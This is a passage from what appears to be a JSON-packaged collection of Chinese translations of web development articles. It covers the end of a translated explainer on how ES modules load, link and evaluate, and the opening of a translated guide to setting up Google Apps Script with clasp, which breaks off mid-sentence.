failing](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/02_module_scope_01-500x292.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/02_module_scope_01.png)\n\n这很好。这意味着当你写一个函数时，只需关注这个函数本身。你不必担心其他函数可能会对函数内的变量做些什么。\n\n尽管如此，它仍然存在缺陷。这让在函数间共享变量变得有点困难。\n\n如果你想在作用域外共享变量呢？处理这个问题的一种常见方法是将它放在更外层的作用域里……例如，在全局作用域中。\n\n你可能还记得 jQuery 时代的这种情况。在加载任何 jQuery 插件之前，你必须确保 jQuery 在全局作用域中。\n\n[![Two function scopes in a global, with one putting jQuery into the global](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/02_module_scope_02-500x450.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/02_module_scope_02.png)\n\n这在有效的同时也产生了副作用。\n\n首先，所有的 script 标签都需要按照正确的顺序排列。所以你必须小心确保那个顺序没被打乱。\n\n如果你搞乱了这个顺序，那么在运行的过程中，你的应用程序就会抛出一个错误。当函数寻找它期望的 jQuery 时 —— 在全局作用域里 —— 却没有找到它，它会抛出一个错误并停止运行。\n\n[![The top function scope has been removed and now the second function scope can’t find jQuery on the global](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/02_module_scope_03-500x450.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/02_module_scope_03.png)\n\n这使得维护代码非常棘手。这让移除老代码或老 script 标签变成了一场轮盘赌游戏。你不知道会弄坏什么。代码的不同部分之间的依赖关系是隐式的。任何函数都可以获取全局作用域中的任何东西，所以你不知道哪些函数依赖于哪些 script 标签。\n\n第二个问题是，因为这些变量位于全局范围内，所以全局范围内的代码的每个部分都可以更改该变量。恶意代码可能会故意更改该变量，以使你的代码执行某些你并不想要的操作，或者非恶意代码可能会意外地弄乱你的变量。\n\n### 模块是如何提供帮助的？\n\n模块为你提供了更好的方法来组织这些变量和函数。通过模块，你可以将有意义的变量和函数分组在一起。\n\n这会将这些函数和变量放入模块作用域。模块作用域可用于在模块中的函数之间共享变量。\n\n但是与函数作用域不同，模块作用域也可以将其变量提供给其他模块。它们可以明确说明模块中的哪些变量、类或函数应该共享。\n\n当将某些东西提供给其他模块时，称为 export。一旦你声明了一个 export，其他模块就可以明确地说它们依赖于该变量、类或函数。\n\n[![Two module scopes, with one reaching into the other to grab an export](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/02_module_scope_04-500x450.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/02_module_scope_04.png)\n\n因为这是显式的关系，所以当删除了某个模块时，你可以确定哪些模块会出问题。\n\n一旦你能够在模块之间导出和导入变量，就可以更容易地将代码分解为可独立工作的小块。然后，你可以组合或重组这些代码块（像乐高一样），从同一组模块创建出各种不同的应用程序。\n\n由于模块非常有用，历史上有多次向 JavaScript 添加模块功能的尝试。如今有两个模块系统正在大范围地使用。CommonJS（CJS）是 Node.js 历史上使用的。ESM（EcmaScript 模块）是一个更新的系统，已被添加到 JavaScript 规范中。浏览器已经支持了 ES 模块，并且 Node 也正在添加支持。\n\n让我们来深入了解这个新模块系统的工作原理。\n\n### ES 模块如何工作\n\n使用模块开发时，会建立一个依赖图。不同依赖项之间的连接来自你使用的各种 import 语句。\n\n浏览器或者 Node 通过 import 语句来确定需要加载什么代码。你给它一个文件来作为依赖图的入口。之后它会随着 import 语句来找到所有剩余的代码。\n\n[![A module with two dependencies. The top module is the entry. The other two are related using import statements](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/04_import_graph-500x291.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/04_import_graph.png)\n\n但浏览器并不能直接使用文件本身。它需要把这些文件解析成一种叫做模块记录（Module Records）的数据结构。这样它就知道了文件中到底发生了什么。\n\n[![A module record with various fields, including RequestedModules and ImportEntries](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/05_module_record-500x287.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/05_module_record.png)\n\n之后，模块记录需要转化为模块实例（module instance）。一个实例包含两个部分：代码和状态。\n\n代码基本上是一组指令。就像是一个告诉你如何制作某些东西的配方。但你仅依靠代码并不能做任何事情。你需要将原材料和这些指令组合起来使用。\n\n什么是状态？状态就是给你这些原材料的东西。指令是所有变量在任何时间的实际值的集合。当然，这些变量只是内存中保存值的数据块的名称而已。\n\n所以模块实例将代码（指令列表）和状态（所有变量的值）组合在一起。\n\n[![A module instance combining code and state](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/06_module_instance-500x372.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/06_module_instance.png)\n\n我们需要的是每个模块的模块实例。模块加载就是从此入口文件开始，生成包含全部模块实例的依赖图的过程。\n\n对于 ES 模块来说，这主要有三个步骤：\n\n1. 构造 —— 查找、下载并解析所有文件到模块记录中。\n2. 实例化 —— 在内存中寻找一块区域来存储所有导出的变量（但还没有填充值）。然后让 export 和 import 都指向这些内存块。这个过程叫做链接（linking）。\n3. 求值 —— 运行代码，在内存块中填入变量的实际值。\n\n[![The three phases. Construction goes from a single JS file to multiple module records. Instantiation links those records. Evaluation executes the code.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/07_3_phases-500x184.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/07_3_phases.png)\n\n人们说 ES 模块是异步的。你可以把它当作时异步的，因为整个过程被分为了三阶段 —— 加载、实例化和求值 —— 这三个阶段可以分开完成。\n\n这意味着 ES 规范确实引入了一种在 CommonJS 中并不存在的异步性。我稍后会再解释，但是在 CJS 中，一个模块和其下的所有依赖会一次性完成加载、实例化和求值，中间没有任何中断。\n\n当然，这些步骤本身并不必须是异步的。它们可以以同步的方式完成。这取决于谁在做加载这个过程。这是因为 ES 模块规范并没有控制所有的事情。实际上有两部分工作，这些工作分别由不同的规范控制。\n\n[ES模块规范](https://tc39.github.io/ecma262/#sec-modules)说明了如何将文件解析到模块记录，以及如何实例化和求值该模块。但是，它并没有说明如何获取文件。\n\n是加载器来获取文件。加载器在另一个不同的规范中定义。对于浏览器来说，这个规范是 [HTML 规范](https://html.spec.whatwg.org/#fetch-a-module-script-tree)。但是你可以根据所使用的平台有不同的加载器。\n\n[![Two cartoon figures. One represents the spec that says how to load modules (i.e., the HTML spec). The other represents the ES module spec.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/07_loader_vs_es-500x286.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/07_loader_vs_es.png)\n\n加载器还精确控制模块的加载方式。它调用 ES 模块的方法 —— `ParseModule`、`Module.Instantiate` 和 `Module.Evaluate`。这有点像通过提线来控制 JS 引擎这个木偶。\n\n[![The loader figure acting as a puppeteer to the ES module spec figure.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/08_loader_as_puppeteer-500x330.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/08_loader_as_puppeteer.png)\n\n现在让我们更详细地介绍每一步。\n\n#### 构造\n\n在构造阶段，每个模块都会经历三件事情。\n\n1. 找出从哪里下载包含该模块的文件（也称为模块解析）\n2. 获取文件（从 URL 下载或从文件系统加载）\n3. 将文件解析为模块记录\n\n#### 查找文件并获取\n\n加载器将负责查找文件并下载它。首先它需要找到入口文件。在 HTML 中，你通过使用 script 标记来告诉加载器在哪里找到它。\n\n[![A script tag with the type=module attribute and a src URL. The src URL has a file coming from it which is the entry](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/08_script_entry-500x188.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/08_script_entry.png)\n\n但它如何找到剩下的一堆模块 —— 那些 `main.js` 直接依赖的模块？\n\n这就要用到 import 语句了。import 语句中的一部分称为模块标识符。它告诉加载器哪里可以找到余下的模块。\n\n[![An import statement with the URL at the end labeled as the module specifier](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/09_module_specifier-500x105.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/09_module_specifier.png)\n\n关于模块标识符有一点需要注意：它们有时需要在浏览器和 Node 之间进行不同的处理。每个宿主都有自己的解释模块标识符字符串的方式。要做到这一点，它使用了一种称为模块解析的算法，它在不同平台之间有所不同。目前，在 Node 中可用的一些模块标识符在浏览器中不起作用，但[这个问题正在被修复](https://github.com/domenic/package-name-maps)。\n\n在修复之前，浏览器只接受 URL 作为模块标识符。它们将从该 URL 加载模块文件。但是，这并不是在整个依赖图上同时发生的。在解析文件前，并不知道这个文件中的模块需要再获取哪些依赖……并且在获取文件之前无法解析那个文件。\n\n这意味着我们必须逐层遍历依赖树，解析一个文件，然后找出它的依赖关系，然后查找并加载这些依赖。\n\n[![A diagram that shows one file being fetched and then parsed, and then two more files being fetched and then parsed](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/10_construction-500x302.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/10_construction.png)\n\n如果主线程要等待这些文件的下载，那么很多其他任务将堆积在队列中。\n\n这是就是为什么当你使用浏览器时，下载部分需要很长时间。\n\n![A chart of latencies showing that if a CPU cycle took 1 second, then main memory access would take 6 minutes, and fetching a file from a server across the US would take 4 years](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/11_latency-500x270.png)\n\n基于[此图表](https://twitter.com/srigi/status/917998817051541504)。\n\n像这样阻塞主线程会让采用了模块的应用程序速度太慢而无法使用。这是 ES 模块规范将算法分为多个阶段的原因之一。将构造过程单独分离出来，使得浏览器在执行同步的初始化过程前可以自行下载文件并建立自己对于模块图的理解。\n\n这种方法 —— 将算法分解成不同阶段 —— 是 ES 模块和 CommonJS 模块之间的主要区别之一。\n\nCommonJS 可以以不同的方式处理的原因是，从文件系统加载文件比在 Internet 上下载需要少得多的时间。这意味着 Node 可以在加载文件时阻塞主线程。而且既然文件已经加载了，直接实例化和求值（在 CommonJS 中并不区分这两个阶段）就理所当然了。这也意味着在返回模块实例之前，你遍历了整棵树，加载、实例化和求值了所有依赖关系。\n\n[![A diagram showing a Node module evaluating up to a require statement, and then Node going to synchronously load and evaluate the module and any of its dependencies](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/12_cjs_require-500x298.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/12_cjs_require.png)\n\nCommonJS 方法有一些隐式特性，稍后我会解释。其中一个是，在使用 CommonJS 模块的 Node 中，可以在模块标识符中使用变量。在查找下一个模块之前，你执行了此模块中的所有代码（直至 `require` 语句）。这意味着当你去做模块解析时，变量会有值。\n\n但是对于 ES 模块，在进行任何求值之前，你需要事先构建整个模块图。这意味着你的模块标识符中不能有变量，因为这些变量还没有值。\n\n[![A require statement which uses a variable is fine. An import statement that uses a variable is not.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/13_static_import-500x146.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/13_static_import.png)\n\n但有时候在模块路径使用变量确实非常有用。例如，你可能需要根据代码的运行情况或运行环境来切换加载某个模块。\n\n为了让 ES 模块支持这个，有一个名为 [动态导入](https://github.com/tc39/proposal-dynamic-import) 的提案。有了它，你可以像 ``import(`${path}`/foo.js`` 这样使用 import 语句。\n\n它的原理是，任何通过 `import()` 加载的文件都会被作为一个独立的依赖图的入口。动态导入的模块开启一个新的依赖图，并单独处理。\n\n[![Two module graphs with a dependency between them, labeled with a dynamic import statement](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/14dynamic_import_graph-500x389.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/14dynamic_import_graph.png)\n\n有一点需要注意，同时存在于这两个依赖图中的模块都将共享同一个模块实例。这是因为加载器会缓存模块实例。对于特定全局作用域中的每个模块，都将只有一个模块实例。\n\n这意味着引擎的工作量减少了。例如，这意味着即使多个模块依赖某个模块，这个模块的文件也只会被获取一次。（这是缓存模块的一个原因，我们将在求值部分看到另一个。）\n\n加载器使用一种叫做[模块映射](https://html.spec.whatwg.org/multipage/webappapis.html#module-map) 的东西来管理这个缓存。每个全局作用域都在一个单独的模块映射中跟踪其模块。\n\n当加载器开始获取一个 URL 时，它会将该 URL 放入模块映射中，并标记上它正在获取文件。然后它会发出请求并继续开始获取下一个文件。\n\n[![The loader figure filling in a Module Map chart, with the URL of the main module on the left and the word fetching being filled in on the right](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/15_module_map-500x170.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/15_module_map.png)\n\n如果另一个模块依赖于同一个文件会发生什么？加载器将查找模块映射中的每个 URL。如果看到了 `fetching`，它就会直接开始下一个 URL。\n\n但是模块映射不只是跟踪哪些文件正在被获取。模块映射也可以作为模块的缓存，接下来我们就会看到。\n\n#### 解析\n\n现在我们已经获取了这个文件，我们需要将它解析为模块记录。这有助于浏览器了解模块的不同部分。\n\n[![Diagram showing main.js file being parsed into a module record](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/25_file_to_module_record-500x199.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/25_file_to_module_record.png)\n\n一旦模块记录被创建，它会被记录在模块映射中。这意味着在这之后的任意时间如果有对它的请求，加载器就可以从映射中获取它。\n\n[![The “fetching” placeholders in the module map chart being filled in with module records](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/25_module_map-500x239.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/25_module_map.png)\n\n解析中有一个细节可能看起来微不足道，但实际上有很大的影响。所有的模块都被当作在顶部使用了 `\"use strict\"` 来解析。还有一些其他细微差别。例如，关键字 `await` 保留在模块的顶层代码中，`this` 的值是 `undefined`。\n\n这种不同的解析方式被称为「解析目标」。如果你使用不同的目标解析相同的文件，你会得到不同的结果。所以在开始解析你想知道正在解析的文件的类型 —— 它是否是一个模块。\n\n在浏览器中这很容易。你只需在 script 标记中设置 `type=\"module\"`。这告诉浏览器此文件应该被解析为一个模块。另外由于只有模块可以被导入，浏览器也就知道任何导入的都是模块。\n\n[![The loader determining that main.js is a module because the type attribute on the script tag says so, and counter.js must be a module because it’s imported](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/26_parse_goal-500x311.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/26_parse_goal.png)\n\n但是在 Node 中，不使用 HTML 标签，所以没法选择使用 `type` 属性。社区试图解决这个问题的一种方法是使用 `.mjs` 扩展名。使用该扩展名告诉 Node「这个文件是一个模块」。你会看到人们将这个叫做解析目标的信号。讨论仍在进行中，所以目前还不清楚 Node 社区最终会决定使用什么信号。\n\n无论哪种方式，加载器会决定是否将文件解析为模块。如果是一个模块并且有导入，则加载器将再次启动该过程，直到获取并解析了所有的文件。\n\n我们完成了！在加载过程结束时，从只有一个入口文件变成了一堆模块记录。\n\n[![A JS file on the left, with 3 parsed module records on the right as a result of the construction phase](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/27_construction-500x406.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/27_construction.png)\n\n下一步是实例化此模块并将所有实例链接在一起。\n\n#### 实例化\n\n就像我之前提到的，实例将代码和状态结合起来。状态存在于内存中，因此实例化步骤就是将内容连接到内存。\n\n首先，JS 引擎创建一个模块环境记录（module environment record）。它管理模块记录对应的变量。然后它为所有的 export 分配内存空间。模块环境记录会跟踪不同内存区域与不同 export 间的关联关系。\n\n这些内存区域还没有被赋值。只有在求值之后它们才会获得真正的值。这条规则有一点需要注意：任何 export 的函数声明都在这个阶段初始化。这让求值更加容易。\n\n为了实例化模块图，引擎将执行所谓的深度优先后序遍历。这意味着它会深入到模块图的底部 —— 直到不依赖于其他任何东西的底部 —— 并处理它们的 export。\n\n[![A column of empty memory in the middle. Module environment records for the count and display modules are wired up to boxes in memory.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/30_live_bindings_01-500x206.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/30_live_bindings_01.png)\n\n引擎将某个模块下的所有导出都连接好 —— 也就是这个模块所依赖的所有导出。之后它回溯到上一层来连接该模块的所有导入。\n\n请注意，导出和导入都指向内存中的同一个区域。先连接导出保证了所有的导出都可以被连接到对应的导入上。\n\n[![Same diagram as above, but with the module environment record for main.js now having its imports linked up to the exports from the other two modules.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/30_live_bindings_02-500x206.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/30_live_bindings_02.png)\n\n这与 CommonJS 模块不同。在 CommonJS 中，整个 export 对象在 export 时被复制。这意味着 export 的任何值（如数字）都是副本。\n\n这意味着如果导出模块稍后更改该值，则导入模块并不会看到该更改。\n\n[![Memory in the middle with an exporting common JS module pointing to one memory location, then the value being copied to another and the importing JS module pointing to the new location](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/31_cjs_variable-500x113.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/31_cjs_variable.png)\n\n相比之下，ES 模块使用叫做动态绑定（live bindings）的东西。两个模块都指向内存中的相同位置。这意味着当导出模块更改一个值时，该更改将反映在导入模块中。\n\n导出值的模块可以随时更改这些值，但导入模块不能更改其导入的值。但是，如果一个模块导入一个对象，它可以改变该对象上的属性值。\n\n[![The exporting module changing the value in memory. The importing module also tries but fails.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/30_live_bindings_04-500x206.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/30_live_bindings_04.png)\n\n之所以使用动态绑定，是因为这样你就可以连接所有模块而不需要运行任何代码。这有助于循环依赖存在时的求值，我会在下面解释。\n\n因此，在此步骤结束时，我们将所有实例和导出 / 导入变量的内存位置连接了起来。\n\n现在我们可以开始求值代码并用它们的值填充这些内存位置。\n\n#### 求值\n\n最后一步是在内存中填值。JS 引擎通过执行顶层代码 —— 函数之外的代码来实现这一点。\n\n除了在内存中填值，求值代码也会引发副作用。例如，一个模块可能会请求服务器。\n\n[![A module will code outside of functions, labeled top level code](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/40_top_level_code-500x146.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/40_top_level_code.png)\n\n由于潜在的副作用，你只想对模块求值一次。对于实例化中发生的链接过程，多次链接会得到相同的结果，但与此不同的是，求值结果可能会随着求值次数的不同而变化。\n\n这是需要模块映射的原因之一。模块映射通过规范 URL 来缓存模块，所以每个模块只有一个模块记录。这确保了每个模块只会被执行一次。就像实例化一样，这会通过深度优先后序遍历完成。\n\n那些我们之前谈过的循环依赖呢？\n\n如果有循环依赖，那最终会在依赖图中产生一个循环。通常，会有一个很长的循环路径。但为了解释这个问题，我打算用一个短循环的人为的例子。\n\n[![A complex module graph with a 4 module cycle on the left. A simple 2 module cycle on the right.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/41_cjs_cycle-500x224.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/41_cjs_cycle.png)\n\n让我们看看 CommonJS 模块如何处理这个问题。首先，main 模块会执行到 require 语句。然后它会去加载 counter 模块。\n\n[![A commonJS module, with a variable being exported from main.js after a require statement to counter.js, which depends on that import](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/41_cyclic_graph-500x281.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/41_cyclic_graph.png)\n\n然后 counter 模块会尝试从导出对象访问 `message`。但是，由于这尚未在 main 模块中进行求值，因此将返回 undefined。JS 引擎将为局部变量分配内存空间并将值设置为 undefined。\n\n[![Memory in the middle with no connection between main.js and memory, but an importing link from counter.js to a memory location which has undefined](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/42_cjs_variable_2-500x113.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/42_cjs_variable_2.png)\n\n求值过程继续，直到 counter 模块顶层代码的结尾。我们想看看最终是否会得到正确的 message 值（在 main.js 求值之后），因此我们设置了 timeout。之后在 `main.js` 上继续求值。\n\n[![counter.js returning control to main.js, which finishes evaluating](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/43_cjs_cycle-500x224.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/43_cjs_cycle.png)\n\nmessage 变量将被初始化并添加到内存中。但是由于两者之间没有连接，它将在 counter 模块中保持 undefined。\n\n[![main.js getting its export connection to memory and filling in the correct value, but counter.js still pointing to the other memory location with undefined in it](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/44_cjs_variable_2-500x216.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/44_cjs_variable_2.png)\n\n如果使用动态绑定处理导出，则 counter 模块最终会看到正确的值。在 timeout 运行时，`main.js` 的求值已经结束并填充了该值。\n\n支持这些循环依赖是 ES 模块设计背后的一大缘由。正是这种三段式设计使其成为可能。\n\n### ES 模块的现状如何？\n\n随着 5 月初会发布的 Firefox 60，所有主流浏览器均默认支持 ES 模块。Node 也增加了支持，一个[工作组](https://github.com/nodejs/modules)正致力于解决 CommonJS 和 ES 模块之间的兼容性问题。\n\n这意味着你可以在 script 标记中使用 `type=module`，并使用 import 和 export。但是，更多模块特性尚未实现。[动态导入提议](https://github.com/tc39/proposal-dynamic-import)正处于规范过程的第 3 阶段，有助于支持 Node.js 用例的 [import.meta](https://github.com/tc39/proposal-import-meta) 也一样，[模块解析提议](https://github.com/domenic/package-name-maps)也将有助于抹平浏览器和 Node.js 之间的差异。所以我们可以期待将来的模块支持会更好。\n\n## 致谢\n\n感谢所有对这篇文章给予反馈意见，或者通过书面和讨论提供信息的人，包括 Axel Rauschmayer、Bradley Farias、Dave Herman、Domenic Denicola、Havi Hoffman、Jason Weathersby、JF Bastien、Jon Coppeard、Luke Wagner、Myles Borins、Till Schneidereit、Tobias Koppers 和 Yehuda Katz，也感谢 WebAssembly 社区组、Node 模块工作组和 TC39 的成员们。\n\n## 关于 [Lin Clark](http://code-cartoons.com)\n\nLin 是 Mozilla 开发者关系组的一名工程师。她研究 JavaScript、WebAssembly、Rust 和 Servo，也画过一些代码漫画。\n\n* [code-cartoons.com](http://code-cartoons.com)\n* [@linclark](http://twitter.com/linclark)\n\n[Lin Clark 的更多文章……](https://hacks.mozilla.org/author/lclarkmozilla-com/)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/es6-and-npm-modules-in-google-apps-script.md",
    "content": "> * 原文地址：[Using ES6 and npm modules in Google Apps Script](http://blog.gsmart.in/es6-and-npm-modules-in-google-apps-script/)\n> * 原文作者：[Prasanth Janardanan](http://blog.gsmart.in/author/prasanth3628/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/es6-and-npm-modules-in-google-apps-script.md](https://github.com/xitu/gold-miner/blob/master/TODO1/es6-and-npm-modules-in-google-apps-script.md)\n> * 译者：[xingqiwu55555](https://github.com/xingqiwu55555)\n> * 校对者：[Baddyo](https://github.com/Baddyo) [shixi-li](https://github.com/shixi-li)\n\n# 在 Google Apps 脚本中使用 ES6 和 npm 模块\n\n> 所有的 JavaScript 开发者都应该对 Google 的 Apps 脚本感兴趣。  \n> Apps 脚本有利于实现自动化。通过它，你可以直接访问 Google 的很多服务，比如 Google 表格、Google 邮箱、Google 文档和 Google 日历等。\n> 只需要一点点想象力，你就可以使用 Google Apps 脚本创建非常激动人心的 Apps 和 插件。\n\n与首先要求你提供信用卡的 AppEngine 不同，Apps 脚本目前仍是免费的。至少，Apps 脚本适用于快速创建“概念验证”模型或原型。\n\nApps 脚本有不同的用例。它主要用于为 Google 表格、文档或表单创建插件。但是，它也可以创建“独立”的 web 应用。\n\n我们将探究创建独立的 web 应用这一使用场景。\n\n虽然使用 Apps 脚本有很多令人兴奋的地方，但是它仍有一些令人非常痛苦的限制，比如：\n\n1. Apps 脚本支持很老版本的 JavaScript（JavaScript 1.6）。因此，你可能想要使用的许多现代化的 JavaScript 特性在 Apps 脚本中都是不可用的。\n2. 没有直接的方式来使用 npm modules（但还是有办法可用的，下面我会向你展示）。\n3. 创建一个好的 UI 界面（使用 bootstrap、Vue，甚至是自定义 CSS）是相当困难的。我们必须找到将自定义脚本内联到 HTML 页面中的方法。\n4. 你的 web app 的访问地址将会是一串冗长而丑陋的 URL。难以分享，更别提用这样的地址提供商业服务。\n5. “Apps 脚本” 这个名字真让人难受。顺便说一下，正确的名字确实是 “Apps” 后面跟空格，然后是 “Script”。对于这件事来说，没有比这更缺乏想象力的名字了。有些人可能喜欢这个名字，但我还没有遇到声称喜欢它的人！ 当你在网上搜索 Apps 脚本功能的参考或示例时，你会更加讨厌它。有一个流行的缩略：GAS （Google Apps Script）。但是，如果你搜索“在表格中使用 GAS”，我真的怀疑就连 Google 自己也不能弄明白。\n\n本系列文章旨在规避 Apps 脚本的限制，并为“独立”的 web apps 和插件添加一些非常棒的功能。\n\n首先，我们会使用 webpack 和 babel，从 ES6 Javascript 代码创建一个包。接下来，我会在我们的 Apps 脚本项目中使用 npm 包。并在本系列的下面部分，在你的 Apps 脚本项目中我们利用 CSS 框架和 VueJS 或 ReactJS 来开发现代化的用户界面。让我们深入探讨吧！\n\n## 设置你的本地 Apps 脚本环境\n\n首先，你必须熟悉 Apps 脚本环境。Google 提供了一个命令行工具叫 **clasp** 来在本地管理 Apps 脚本项目。\n\n安装 clasp 命令行工具：\n\n```\nnpm install @google/clasp -g\n```\n\n安装后，登录你的 Google 账号。\n\n```\nclasp login\n```\n\n这将在你的浏览器里打开一个授权页面。你必须完成这些步骤。\n\n授权完成后，你已经做好了创建你的第一个 Apps 脚本项目的准备。\n\n## 一个简单的基于 Apps 脚本的独立 web app\n\n新建一个文件夹。打开终端并转到这个新建的文件夹。运行下面的命令来创建一个新的 Apps 脚本项目：\n\n```\nclasp create --type standalone --title \"first GAS App\"\n```\n\n在同样的文件夹里新建一个 app.js。并在 app.js 文件里添加下面的函数：\n\napp.js\n\n```JavaScript\nfunction  doGet(){\n return  ContentService.createTextOutput(\"Hello World!\");\n}\n```\n\n为了 webapp 类型的 Appscript 项目，你需要有一个名为 doGet() 的函数。doGet() 是执行页面渲染的函数。  \n在上面的例子里，输出结果是一段简单的文本。常见的 webapp 应该返回一个完整的 HTML 页面。为了保持第一个项目尽可能简单，我们将继续使用简单的文本。\n\n打开 appscript.json。这个文件包含你的 apps 脚本设置。更新文件，如下所示：\n\nappscript.json\n\n```JavaScript\n{\n  \"timeZone\":  \"America/New_York\",\n  \"dependencies\":  {\n},\n  \"webapp\":  {\n  \"access\":  \"MYSELF\",\n  \"executeAs\":  \"USER_DEPLOYING\"\n},\n  \"exceptionLogging\":  \"STACKDRIVER\"\n}\n```\n\n保存文件。  \n转到终端且输入下面的命令将这个文件推送回 Google 服务器：\n\n```\nclasp push\n```\n\n然后输入下面的命令在浏览器中打开项目\n\n```\nclasp open  --webapp\n```\n\n该命令会打开浏览器，展示刚刚创建的 web 